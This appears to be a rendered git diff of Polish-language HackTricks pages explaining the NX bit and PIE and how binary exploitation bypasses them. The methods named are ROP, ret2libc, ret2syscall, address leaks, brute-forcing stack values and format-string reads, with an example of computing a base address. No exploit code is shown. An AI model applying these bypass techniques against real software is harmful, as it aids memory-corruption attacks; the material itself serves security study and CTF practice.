Bit **No-Execute (NX)**, znany również jako **Execute Disable (XD)** w terminologii Intela, to funkcja zabezpieczeń oparta na sprzęcie, zaprojektowana w celu **łagodzenia** skutków ataków **buffer overflow**. Po wdrożeniu i włączeniu, odróżnia obszary pamięci przeznaczone na **kod wykonywalny** od tych przeznaczonych na **dane**, takich jak **stos** i **heap**. Główna idea polega na zapobieganiu wykonaniu złośliwego kodu przez atakującego poprzez wykorzystanie luk w **buffer overflow**, umieszczając złośliwy kod na stosie i kierując do niego przepływ wykonania.
|
||||
|
||||
## Bypassy
|
||||
## Obejścia
|
||||
|
||||
* Możliwe jest użycie technik takich jak [**ROP**](../stack-overflow/rop-return-oriented-programing.md) do ominięcia tej ochrony poprzez wykonanie fragmentów kodu wykonywalnego już obecnego w pliku binarnym.
|
||||
* Możliwe jest użycie technik takich jak [**ROP**](../stack-overflow/rop-return-oriented-programing.md), aby obejść tę ochronę, wykonując fragmenty kodu wykonywalnego już obecnego w binarnym.
|
||||
* [**Ret2libc**](../stack-overflow/ret2lib/)
|
||||
* [**Ret2syscall**](../stack-overflow/rop-syscall-execv.md)
|
||||
* **Ret2...**
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,56 +1,58 @@
|
|||
# PIE
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Binarny skompilowany jako PIE, czyli **wykonywalny o stałej pozycji**, oznacza, że **program może być ładowany w różnych lokalizacjach pamięci** za każdym razem, gdy jest uruchamiany, uniemożliwiając użycie adresów wpisanych na sztywno.
|
||||
Plik binarny skompilowany jako PIE, czyli **Position Independent Executable**, oznacza, że **program może być ładowany w różnych lokalizacjach pamięci** za każdym razem, gdy jest uruchamiany, co zapobiega używaniu zakodowanych adresów.
|
||||
|
||||
Sztuka wykorzystania tych binarnych plików polega na wykorzystaniu **adresów względnych** - przesunięcia między częściami programu pozostają takie same, nawet jeśli bezwzględne lokalizacje się zmieniają. Aby **obejść PIE, wystarczy wyciek jednego adresu**, zwykle ze **stosu**, korzystając z podatności, takich jak ataki formatowania łańcucha. Po uzyskaniu adresu można obliczyć inne za pomocą **ustalonych przesunięć**.
|
||||
Sztuczka do wykorzystania tych binariów polega na wykorzystaniu **adresów względnych** — przesunięcia między częściami programu pozostają takie same, nawet jeśli lokalizacje bezwzględne się zmieniają. Aby **obejść PIE, wystarczy wyciek jeden adres**, zazwyczaj z **stosu** przy użyciu luk, takich jak ataki formatu łańcucha. Gdy masz jeden adres, możesz obliczyć inne na podstawie ich **stałych przesunięć**.
|
||||
|
||||
Przydatna wskazówka przy wykorzystywaniu binarnych plików PIE to to, że ich **adres bazowy zazwyczaj kończy się na 000** ze względu na to, że strony pamięci są jednostkami losowania, o rozmiarze 0x1000 bajtów. To wyrównanie może być kluczowym **sprawdzeniem, czy exploit nie działa** zgodnie z oczekiwaniami, wskazując, czy zidentyfikowano poprawny adres bazowy.\
|
||||
Lub możesz użyć tego do swojego exploitu, jeśli wyciekasz, że adres znajduje się pod **`0x649e1024`**, wiesz, że **adres bazowy to `0x649e1000`** i stamtąd możesz po prostu **obliczyć przesunięcia** funkcji i lokalizacji.
|
||||
Pomocna wskazówka przy wykorzystywaniu binariów PIE to to, że ich **adres bazowy zazwyczaj kończy się na 000** z powodu stron pamięci, które są jednostkami losowania, o rozmiarze 0x1000 bajtów. To wyrównanie może być krytycznym **sprawdzianem, jeśli exploit nie działa** zgodnie z oczekiwaniami, wskazując, czy poprawny adres bazowy został zidentyfikowany.\
|
||||
Możesz to również wykorzystać w swoim exploicie, jeśli wycieknie, że adres znajduje się pod **`0x649e1024`**, wiesz, że **adres bazowy to `0x649e1000`** i stąd możesz po prostu **obliczyć przesunięcia** funkcji i lokalizacji.
|
||||
|
||||
## Ominięcia
|
||||
## Obejścia
|
||||
|
||||
Aby ominąć PIE, konieczne jest **wyciekanie pewnego adresu załadowanego** binarnego, istnieją na to różne opcje:
|
||||
Aby obejść PIE, konieczne jest **wycieknięcie jakiegoś adresu załadowanego** binarnego, istnieje kilka opcji:
|
||||
|
||||
* **Wyłączony ASLR**: Jeśli ASLR jest wyłączony, binarny skompilowany z PIE zawsze **będzie ładowany pod tym samym adresem**, dlatego **PIE będzie bezużyteczne**, ponieważ adresy obiektów zawsze będą w tym samym miejscu.
|
||||
* **Otrzymanie** wycieku (częste w łatwych wyzwaniach CTF, [**sprawdź ten przykład**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
* **Próbuj** wartości EBP i EIP na stosie, aż wyciekniesz poprawne:
|
||||
* Otrzymanie **wycieku** (częste w łatwych wyzwaniach CTF, [**sprawdź ten przykład**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
|
||||
* **Brute-force wartości EBP i EIP** na stosie, aż wyciekną poprawne:
|
||||
|
||||
{% content-ref url="bypassing-canary-and-pie.md" %}
|
||||
[bypassing-canary-and-pie.md](bypassing-canary-and-pie.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* Użyj podatności na odczyt arbitralny, takiej jak [**format string**](../../format-strings/), aby wyciec adres binarny (np. ze stosu, jak w poprzedniej technice) i uzyskać bazę binarną oraz użyć przesunięć stamtąd. [**Znajdź przykład tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
* Użyj luki w odczycie arbitralnym, takiej jak [**format łańcucha**](../../format-strings/), aby wyciekować adres binarnego (np. ze stosu, jak w poprzedniej technice), aby uzyskać bazę binarnego i użyć przesunięć stamtąd. [**Znajdź przykład tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
|
||||
|
||||
## Odnośniki
|
||||
## Odniesienia
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue